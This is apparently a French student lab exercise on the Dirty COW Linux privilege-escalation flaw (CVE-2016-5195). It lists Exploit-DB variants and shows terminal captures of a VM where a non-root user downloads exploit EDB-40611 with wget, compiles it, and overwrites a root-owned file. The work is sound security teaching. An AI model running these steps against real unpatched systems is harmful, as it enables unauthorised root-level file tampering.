

Exercice — Dirty COW

Auteur: Amine Khelfi, Anthony Ledda, Shashkov Mikhail **Date :** 04.10.2026

1. Identifier la CVE de Dirty COW

Nom : Dirty COW

Identifiant : CVE-2016-5195

Type : race condition dans le noyau Linux

Impact : élévation locale de privilèges.

URL de la CVE : <https://nvd.nist.gov/vuln/detail/CVE-2016-5195> (fiche MITRE : <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195>)

2. Trouvez les exploits disponibles sur exploit-db

Voici les variantes:

ID Exploit-DB	Technique ou cible	Description générale
EDB-40611	<code>/proc/self/mem</code>	Vise l'écriture dans un fichier protégé.
EDB-40616	<code>/proc/self/mem</code> , SUID	Permet l'élévation locale de privilèges.
EDB-40838	<code>PTRACE_POKEDATA</code>	Utilise l'interface <code>ptrace</code> pour tenter une écriture.
EDB-40839	<code>PTRACE_POKEDATA</code> , <code>/etc/passwd</code>	Ciblant le fichier des comptes locaux.
EDB-40847	<code>/proc/self/mem</code> , <code>/etc/passwd</code>	Utilise l'accès à la mémoire du processus pour cibler <code>/etc/passwd</code> .

Liens vers les fiches Exploit-DB :

- [EDB-40611](#)
- [EDB-40616](#)
- [EDB-40838](#)
- [EDB-40839](#)
- [EDB-40847](#)

3. Démontrez un exploit dans une VM

Capture 1 — Préparation de la cible. On vérifie que le noyau est vulnérable (`4.4.0-21-generic`) et qu'on est un utilisateur non privilégié (`uid=1000`). On crée ensuite un fichier `/tmp/dirtycow-test` appartenant à `root` en lecture seule pour les autres (`-rw-r--r--`). La tentative d'écriture en tant qu'utilisateur normal est bien refusée (`Permission denied`).

```
amine@ubuntu:~$ uname -r
4.4.0-21-generic
amine@ubuntu:~$ id
uid=1000(amine) gid=1000(amine)
groups=1000(amine),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
amine@ubuntu:~$ sudo sh -c 'echo "ORIGINAL" > /tmp/dirtycow-test'
hmod 644 /tmp/dirtycow-test
amine@ubuntu:~$ sudo chown root:root /tmp/dirtycow-test
amine@ubuntu:~$ sudo chmod 644 /tmp/dirtycow-test
amine@ubuntu:~$
amine@ubuntu:~$ ls -l /tmp/dirtycow-test
-rw-r--r-- 1 root root 9 Oct  3 11:35 /tmp/dirtycow-test
amine@ubuntu:~$ cat /tmp/dirtycow-test
ORIGINAL
amine@ubuntu:~$ echo "TEST NORMAL" >> /tmp/dirtycow-test
-bash: /tmp/dirtycow-test: Permission denied
amine@ubuntu:~$ cat /tmp/dirtycow-test
```

```
amine@ubuntu:~$
```

Capture 2 — Création et exécution de l'exploit. On télécharge le code source de l'exploit EDB-40611 depuis Exploit-DB ([wget](#)), puis on le compile. On lance ensuite le binaire en lui passant le fichier cible et la chaîne à écrire.. Malgré nos droits limités, le contenu du fichier **root** est bien modifié. Ecriture réussite 😊

```
amine@ubuntu:~$ mkdir -p ~/dirtycow
amine@ubuntu:~$ cd ~/dirtycow
amine@ubuntu:~/dirtycow$
amine@ubuntu:~/dirtycow$ wget https://www.exploit-db.com/download/40611 -O dirtycow.c
--2026-10-03 11:39:28-- https://www.exploit-db.com/download/40611
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2938 (2.9K) [application/txt]
Saving to: 'dirtycow.c'
dirtycow.c      100%[=====>]    2.87K  --.-KB/s   in 0s
2026-10-03 11:39:28 (1.00 GB/s) - 'dirtycow.c' saved [2938/2938]
amine@ubuntu:~/dirtycow$ ls
dirtycow  dirtycow.c
amine@ubuntu:~/dirtycow$ gcc -pthread dirtycow.c -o dirtycow
amine@ubuntu:~/dirtycow$ clear
amine@ubuntu:~/dirtycow$ cd ..
amine@ubuntu:~$ mkdir -p ~/dirtycow
amine@ubuntu:~$ cd ~/dirtycow
amine@ubuntu:~/dirtycow$ wget https://www.exploit-db.com/download/40611 -O dirtycow.c
--2026-10-03 11:39:59-- https://www.exploit-db.com/download/40611
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2938 (2.9K) [application/txt]
Saving to: 'dirtycow.c'

dirtycow.c      100%[=====>]    2.87K  --.-KB/s   in 0s

2026-10-03 11:39:59 (941 MB/s) - 'dirtycow.c' saved [2938/2938]

amine@ubuntu:~/dirtycow$ gcc -pthread dirtycow.c -o dirtycow
amine@ubuntu:~/dirtycow$ ls -l dirtycow
-rwxrwxr-x 1 amine amine 7984 Oct  3 11:40 dirtycow
amine@ubuntu:~/dirtycow$ ./dirtycow /tmp/dirtycow-test "CHANGES. "
mmap b778f000

amine@ubuntu:~/dirtycow$ cat /tmp/dirtycow-test
CHANGES.
```